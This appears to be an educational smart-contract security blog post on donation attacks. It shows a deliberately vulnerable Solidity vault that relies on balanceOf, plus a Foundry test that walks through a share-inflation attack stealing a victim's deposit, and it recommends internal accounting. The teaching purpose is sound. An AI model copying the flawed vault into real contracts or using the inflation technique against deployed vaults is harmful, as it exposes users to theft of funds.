Table of Contents
Hey, everyone, Hans here! Welcome back to another deep dive into the Solodit Checklist. In this series, we move beyond surface-level security giving you actionable insights to fortify your smart contracts. Our goal? To empower you to level up your smart contract security game, one checklist item at a time.
Previously, we delved into Denial-of-Service (DoS) attacks (Part 1, Part 2). Now, we shift gears to a more subtle, yet potentially devastating, vulnerability: Donation Attacks.
For the best experience, open a tab with the Solodit checklist to refer to it.
In the world of decentralized finance (DeFi) and smart contracts, seemingly harmless actions can be weaponized. In this context, a Donation Attack exploits vulnerabilities in how a contract manages token balances. It often stems from an incorrect state due to an assumption of external factors.
The core of the vulnerability lies in the attacker's ability to manipulate the contract's state. Imagine an attacker cleverly "donating" tokens directly to a contract instead of using the protocol's interface. This seemingly altruistic act can severely disrupt the contract's logic and lead to unfair distributions of assets, potentially harming legitimate users. The attacker can manipulate the contract's state if the protocol does not account for such direct transfers and solely relies on the token balance for accounting.
Given the complexity of the issue, today, we're focusing on a single checklist item SOL-AM-DA-1: Does the protocol rely on balance or balanceOf instead of internal accounting?
{
"id": "SOL-AM-DA-1",
"category": "Donation Attack",
"question": "Does the protocol rely on `balance` or `balanceOf` instead of internal accounting?",
"description": "Attackers can manipulate the accounting by donating tokens.",
"remediation": "Implement internal accounting instead of relying on `balanceOf` natively.",
}
This item aims to prevent the Donation Attack vulnerability by ensuring the protocol does not rely on external functions like balanceOf or balance for accounting. This checklist item directly relates to internal accounting - a method of accurately tracking asset ownership and balances within a smart contract. Internal accounting utilizes dedicated state variables to store and manage balances, rather than relying on external functions like balanceOf.
The vulnerability in external accounting is that anyone can send tokens directly to a contract, regardless of intended logic. If your contract uses token.balanceOf(address(this)) to calculate shares, withdrawals, or any critical value, an attacker can donate tokens, irrevocably compromising the system and potentially altering the intended outcome.
Below is a simplified example of a vulnerable token vault.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract TokenVault {
IERC20 public token;
mapping(address => uint256) public shares;
uint256 public totalSupply;
constructor(IERC20 _token) {
token = _token;
}
function deposit(uint256 _amount) external {
uint256 tokenBalance = token.balanceOf(address(this));
uint256 shareAmount = 0;
if (totalSupply == 0) {
shareAmount = _amount;
} else {
shareAmount = _amount * totalSupply / tokenBalance;
}
shares[msg.sender] = shares[msg.sender] + shareAmount;
totalSupply = totalSupply + shareAmount;
token.transferFrom(msg.sender, address(this), _amount);
}
function withdraw(uint256 _amount) external {
uint256 shareAmount = _amount;
require(shares[msg.sender] >= shareAmount, "Insufficient shares");
uint256 tokenBalance = token.balanceOf(address(this));
uint256 amountToWithdraw = shareAmount * tokenBalance / totalSupply;
shares[msg.sender] = shares[msg.sender] - shareAmount;
totalSupply = totalSupply - shareAmount;
token.transfer(msg.sender, amountToWithdraw);
}
}
The critical flaw: The deposit and withdraw functions use token.balanceOf(address(this)) to calculate share prices and withdrawal amounts. This opens the door to a Donation Attack by allowing any actor to manipulate a state variable of the smart contract.
Below is a Foundry test case demonstrating this attack to visualize its effects:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract DonationAttackTest is Test {
TokenVault public vault;
TestToken public token;
address attacker = address(1);
address victim = address(2);
// Initial attacker tokens
uint256 constant ATTACKER_INITIAL_TOKENS = 10000;
// Small amount to initially deposit
uint256 constant ATTACKER_INITIAL_DEPOSIT = 1;
// Large amount to donate directly
uint256 constant ATTACKER_DONATION = 9999;
// Victim deposit amount
uint256 constant VICTIM_DEPOSIT = 1000;
function setUp() public {
token = new TestToken("Test Token", "TT");
vault = new TokenVault(IERC20(address(token)));
// Mint tokens for users
token.mint(attacker, ATTACKER_INITIAL_TOKENS);
token.mint(victim, VICTIM_DEPOSIT);
// Approve vault to spend tokens
vm.prank(attacker);
token.approve(address(vault), type(uint256).max);
vm.prank(victim);
token.approve(address(vault), type(uint256).max);
}
function testDonationAttack() public {
// ---- Step 1: Attacker deposits minimal amount ----
console.log("INITIAL STATE:");
console.log("Attacker token balance:", token.balanceOf(attacker));
vm.startPrank(attacker);
vault.deposit(ATTACKER_INITIAL_DEPOSIT);
console.log("Attacker deposits:", ATTACKER_INITIAL_DEPOSIT);
console.log("Attacker shares:", vault.shares(attacker));
// Validate initial deposit
assertEq(vault.shares(attacker), ATTACKER_INITIAL_DEPOSIT);
assertEq(vault.totalSupply(), ATTACKER_INITIAL_DEPOSIT);
assertEq(token.balanceOf(address(vault)), ATTACKER_INITIAL_DEPOSIT);
// ---- Step 2: Attacker donates to inflate share price ----
token.transfer(address(vault), ATTACKER_DONATION);
vm.stopPrank();
console.log("\nAFTER DONATION:");
console.log("Vault token balance:", token.balanceOf(address(vault)));
// Vault now has 10000 tokens (1 + 9999)
assertEq(token.balanceOf(address(vault)), ATTACKER_INITIAL_TOKENS);
// ---- Step 3: Victim deposits and gets almost no shares ----
vm.prank(victim);
vault.deposit(VICTIM_DEPOSIT);
uint256 victimShares = vault.shares(victim);
console.log("\nVICTIM DEPOSITS:");
console.log("Victim deposits:", VICTIM_DEPOSIT);
console.log("Victim shares:", victimShares);
// Total tokens in vault
console.log("Total tokens in vault:", token.balanceOf(address(vault)));
// ---- Step 4: Attacker withdraws and gets profit ----
vm.prank(attacker);
vault.withdraw(ATTACKER_INITIAL_DEPOSIT);
uint256 attackerFinalBalance = token.balanceOf(attacker);
console.log("\nATTACKER WITHDRAWS:");
console.log("Attacker initial deposit:", ATTACKER_INITIAL_DEPOSIT);
console.log("Attacker final balance after withdrawal:", attackerFinalBalance);
// Since the attacker has 1 share out of 1 total shares (victim got 0),
// they should get all of the vault's balance including the victim's deposit
// (1 + 9999 + 1000) = 11000 tokens
// Which is much more than their initial 1 token deposit
assertTrue(attackerFinalBalance > ATTACKER_INITIAL_TOKENS);
// Calculate profit from the attack
uint256 profit = attackerFinalBalance - ATTACKER_INITIAL_TOKENS;
console.log("Attacker profit:", profit);
}
}The takeaway? Be wary of your accounting methods. Internal accounting offers enhanced security and protection against Donation Attacks. Implement it in your smart contracts, track balances internally, and make your code robust against unforeseen token transfers.
While Donation Attacks might seem specific, the underlying principle applies across various smart contract security cases: never implicitly trust external data sources. Always verify and control the data your contract relies on to ensure it remains secure and functions as designed.
I hope this deep dive into Donation Attacks strengthens your understanding of smart contract security. Stay vigilant, keep learning, and focus on building secure, reliable code.